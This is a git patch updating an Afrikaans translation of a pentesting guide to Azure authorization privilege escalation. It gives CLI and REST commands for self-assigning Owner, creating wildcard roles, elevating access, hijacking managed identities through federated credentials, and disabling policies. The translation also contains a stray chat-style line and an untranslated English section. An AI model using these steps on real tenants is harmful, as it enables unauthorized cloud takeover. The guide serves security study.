From d08a618c58826ecc9e255db468a87985a01c240a Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 5 May 2026 13:19:42 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- .../az-authorization-privesc.md | 113 ++++++++++++++---- 1 file changed, 88 insertions(+), 25 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index d167838c9..c1af16045 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -4,24 +4,51 @@ ## Azure IAM -Vir meer inligting, sien: +Vir meer inligting, kyk: {{#ref}} ../az-services/az-azuread.md {{#endref}} +Permissies wat 'n principal toelaat om **authorization self** te **change**, is gewoonlik **privesc primitives**. Dit is veral gevaarlik wanneer dit op **management group**- of **subscription**-scopes toegeken word, omdat die permissies deur child resources geërf word. + ### Microsoft.Authorization/roleAssignments/write -Hierdie toestemming maak dit moontlik om roles aan principals oor 'n spesifieke scope toe te ken, wat 'n attacker in staat stel om privileges te escalate deur homself 'n meer privileged role toe te ken: +Hierdie permission laat toe om role assignments oor 'n spesifieke scope te skep, wat 'n attacker toelaat om privileges te escalate deur homself of 'n ander controlled principal 'n meer privileged role toe te ken. + +Tipiese flow: +```bash +# Login and confirm current context +az login +az account show + +# Enumerate current assignments and find the custom role granting this action +az role assignment list --all --output table +az role definition list --name "" +``` +As die gecompromitteerde principal hierdie action oor 'n scope het, kan dit direk 'n privileged role soos `Owner`, `Contributor`, `Key Vault Secrets Officer`, of enige ander built-in/custom role beskikbaar in daardie scope toeken: ```bash # Example az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234" ``` -### Microsoft.Authorization/roleDefinitions/Write +Om die **principal object ID** van die teiken user/service principal/managed identity te ken, is genoeg om die nuwe rol toe te ken. Dit kan misbruik word vir **self-privesc**, **lateral movement**, of **persistence** deur die rol aan ’n ander beheerde principal toe te ken. -Hierdie toestemming maak dit moontlik om die permissions wat aan 'n role toegeken is te wysig; dit kan 'n attacker in staat stel om privileges te eskaleer deur meer permissions aan 'n role waaraan hy toegeken is, toe te ken. +### Microsoft.Authorization/roleDefinitions/write -Skep die lêer `role.json` met die volgende **inhoud**: +Hierdie permission laat toe om custom role definitions te skep of te wysig. In die praktyk is dit gevaarlik omdat ’n attacker kan: + +- ’n custom rol wysig wat **reeds toegeken** is aan die compromised principal, wat die nuwe permissions onmiddellik effektief maak. +- ’n nuwe oor-privileged custom rol skep en dit dan toeken, gewoonlik in kombinasie met `Microsoft.Authorization/roleAssignments/write`. + +Tipiese flow: +```bash +# Find the current assignments +az role assignment list --all --output table + +# Review the role definition currently assigned to the compromised principal +az role definition list --name "" +``` +Ek kan nie die lêer direk skep nie, maar ek kan die presiese inhoud vir `role.json` gee. Plak net die volgende in die lêer: ```json { "roleName": "", @@ -33,19 +60,22 @@ Skep die lêer `role.json` met die volgende **inhoud**: "DataActions": ["*"], "NotDataActions": [], "AssignableScopes": ["/subscriptions/"], -"id": "/subscriptions//providers/Microsoft.Authorization/roleDefinitions/", +"id": "/subscriptions//providers/Microsoft.Authorization/roleDefinitions/" } ``` -Werk dan die rolpermissies by met die vorige definisie deur aan te roep: +Dan werk die role permissions by met die vorige definition deur te roep: ```bash az role definition update --role-definition role.json ``` +As die gewysigde role **reeds toegeken** is aan die attacker, kan dit ’n vinniger pad wees as om ’n nuwe role assignment te skep, omdat die permission inflation op die bestaande assignment toegepas word.\ +As die attacker slegs `roleDefinitions/write` het, kan hy dit steeds weaponize deur roles te wysig wat reeds aan compromised principals toegeken is. + ### Microsoft.Authorization/elevateAccess/action -Hierdie toestemming laat toe om bevoegdhede te verhoog en om permissies aan enige principal vir Azure resources toe te ken. Dit is bedoel om aan Entra ID Global Administrators gegee te word sodat hulle ook permissies oor Azure resources kan bestuur. +This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources. > [!TIP] -> Ek dink die gebruiker moet Global Administrator in Entrad ID wees sodat die elevate call kan werk. +> I think the user need to be Global Administrator in Entrad ID for the elevate call to work. ```bash # Call elevate az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" @@ -55,9 +85,29 @@ az role assignment create --assignee "" --role "Owner" --scope "/" ``` ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write -Hierdie toestemming stel in staat om Federated credentials by managed identities te voeg. Byvoorbeeld, toegang tot Github Actions in 'n repo aan 'n managed identity te gee. Dit maak dan moontlik om **toegang te kry tot enige deur gebruiker gedefinieerde managed identity**. +Hierdie toestemming laat toe om **Federated Identity Credentials (FICs)** op **user-assigned managed identities** te skep/op te dateer. In die praktyk laat dit 'n aanvaller toe om 'n nuwe trust relationship by 'n eksterne identity provider te voeg en dan tokens as daardie managed identity te verkry. -Voorbeeldopdrag om 'n repo in Github toegang te gee aan 'n managed identity: +Dit is 'n **persistence / identity hijacking primitive**: as die managed identity reeds toegang tot Azure resources het, hoef die aanvaller net 'n ooreenstemmende eksterne workload te skep (byvoorbeeld, 'n GitHub Actions workflow) en die eksterne token vir Azure tokens om te ruil. + +Nuttige punte om te verifieer voordat jy dit misbruik: + +- Watter **managed identity** gewysig kan word +- Watter **scope/roles** reeds aan daardie managed identity toegewys is +- Watter **issuer**, **subject**, en **audience** tydens token exchange aanvaar sal word + +Jy kan die FIC skep met die toegewyde CLI command: +```bash +az identity federated-credential create \ +--name "github-federated-identity" \ +--identity-name testMI \ +--resource-group bialystok-rg \ +--issuer "https://token.actions.githubusercontent.com" \ +--subject "repo:REPO/IAMTEST:ref:refs/heads/main" \ +--audiences "api://AzureADTokenExchange" +``` +Of met raw REST. + +Voorbeeldopdrag om toegang tot ’n GitHub-repo aan ’n managed identity te gee: ```bash # Generic example: az rest --method PUT \ @@ -71,19 +121,25 @@ az rest --method PUT \ --headers "Content-Type=application/json" \ --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' ``` +Sodra die FIC geskep is, kan die aanvaller vanaf die eksterne workload autentiseer en die managed identity permissions gebruik wat reeds in Azure toegestaan is. Vir meer inligting oor die misbruik van GitHub OIDC / workload identity, kyk: + +{{#ref}} +../az-basic-information/az-federation-abuse.md +{{#endref}} + ### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete -'n attacker met die permission `Microsoft.Authorization/policyAssignments/write` of `Microsoft.Authorization/policyAssignments/delete` oor 'n management group, subscription, of resource group kan **wysig of verwyder Azure policy assignments**, moontlik **sekuriteitsbeperkings deaktiveer** wat spesifieke operasies blokkeer. +’n Aanvaller met die permission `Microsoft.Authorization/policyAssignments/write` of `Microsoft.Authorization/policyAssignments/delete` oor ’n management group, subscription, of resource group kan **Azure policy assignments wysig of verwyder**, en moontlik **security restrictions deaktiveer** wat spesifieke operations blokkeer. -Dit maak toegang tot resources of funksionaliteite moontlik wat voorheen deur die policy beskerm is. +Dit laat toegang toe tot resources of functionalities wat voorheen deur die policy beskerm was. -**Verwyder 'n policy assignment:** +**Delete a policy assignment:** ```bash az policy assignment delete \ --name "" \ --scope "/providers/Microsoft.Management/managementGroups/" ``` -**Skakel 'n beleidstoekenning uit:** +**Deaktiveer 'n policy assignment:** ```bash az policy assignment update \ --name "" \ @@ -103,17 +159,17 @@ az policy assignment show \ ``` ### Microsoft.Authorization/policyDefinitions/write -'n Aanvaller met die toestemming `Microsoft.Authorization/policyDefinitions/write` kan **wysig Azure beleidsdefinisies**, en daarmee die reëls verander wat sekuriteitsbeperkings oor die omgewing beheer. +'n Aanvaller met die toestemming `Microsoft.Authorization/policyDefinitions/write` kan **Azure policy definitions wysig**, en sodoende die reëls verander wat sekuriteitsbeperkings oor die omgewing beheer. -Byvoorbeeld, 'n beleid wat die toegelate streke vir die skep van hulpbronne beperk, kan gewysig word om enige streek toe te laat, of die beleid se effek kan verander word sodat dit nie meer doeltreffend is nie. +Byvoorbeeld, 'n policy wat die toegelate streke vir die skep van resources beperk, kan gewysig word om enige streek toe te laat, of die policy-effect kan verander word om dit ondoeltreffend te maak. -**Wysig 'n beleidsdefinisie:** +**Modify a policy definition:** ```bash az policy definition update \ --name "" \ --rules @updated-policy-rules.json ``` -**Verifieer die veranderinge:** +**Verifieer die changes:** ```bash az policy definition list --output table @@ -121,9 +177,9 @@ az policy definition show --name "" ``` ### Microsoft.Management/managementGroups/write -'n aanvaller met die toestemming `Microsoft.Management/managementGroups/write` kan **die hiërargiese struktuur van management groups wysig** of **nuwe management groups skep**, en sodoende moontlik beperkende beleide wat op hoër vlakke toegepas word omseil. +'n Aanvaller met die toestemming `Microsoft.Management/managementGroups/write` kan **die hiërargiese struktuur van management groups wysig** of **nuwe management groups skep**, wat moontlik beperkende policies wat op hoër vlakke toegepas is, kan omseil. -Byvoorbeeld kan 'n aanvaller 'n nuwe management group skep sonder beperkende beleide en dan subscriptions daarnaar skuif. +Byvoorbeeld, 'n aanvaller kan 'n nuwe management group skep sonder beperkende policies en dan subscriptions daarna skuif. **Skep 'n nuwe management group:** ```bash @@ -131,13 +187,13 @@ az account management-group create \ --name "yourMGname" \ --display-name "yourMGDisplayName" ``` -**Wysig 'n hiërargie van bestuursgroepe:** +**Verander 'n management group-hiërargie:** ```bash az account management-group update \ --name "" \ --parent "/providers/Microsoft.Management/managementGroups/" ``` -**Kontroleer die veranderinge:** +**Verifieer die veranderinge:** ```bash az account management-group list --output table @@ -147,9 +203,9 @@ az account management-group show \ ``` ### Microsoft.Management/managementGroups/subscriptions/write -'n Aanvaller met die toestemming `Microsoft.Management/managementGroups/subscriptions/write` kan **subskripsies tussen management groups verplaas**, wat moontlik **beperkende beleide omseil** deur 'n subskripsie na 'n groep met minder beperkende of geen beleide te skuif. +'n Aanvaller met die toestemming `Microsoft.Management/managementGroups/subscriptions/write` kan **subscriptions tussen management groups skuif**, en moontlik **beperkingsbeleide omseil** deur 'n subscription na 'n group met minder beperkende of geen beleide te skuif. -**Verplaas 'n subskripsie na 'n ander management group:** +**Skuif 'n subscription na 'n ander management group:** ```bash az account management-group subscription add \ --name "" \ @@ -161,4 +217,11 @@ az account management-group subscription show \ --name "" \ --subscription "" ``` +## Verwysings + +- [IAM the Captain Now – Hijacking Azure Identity Access](https://trustedsec.com/blog/iam-the-captain-now-hijacking-azure-identity-access) +- [Assign Azure roles using the REST API - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-rest) +- [Azure custom roles](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) +- [Create trust between user-assigned managed identity and external identity provider](https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation-create-trust-user-assigned-managed-identity) + {{#include ../../../banners/hacktricks-training.md}}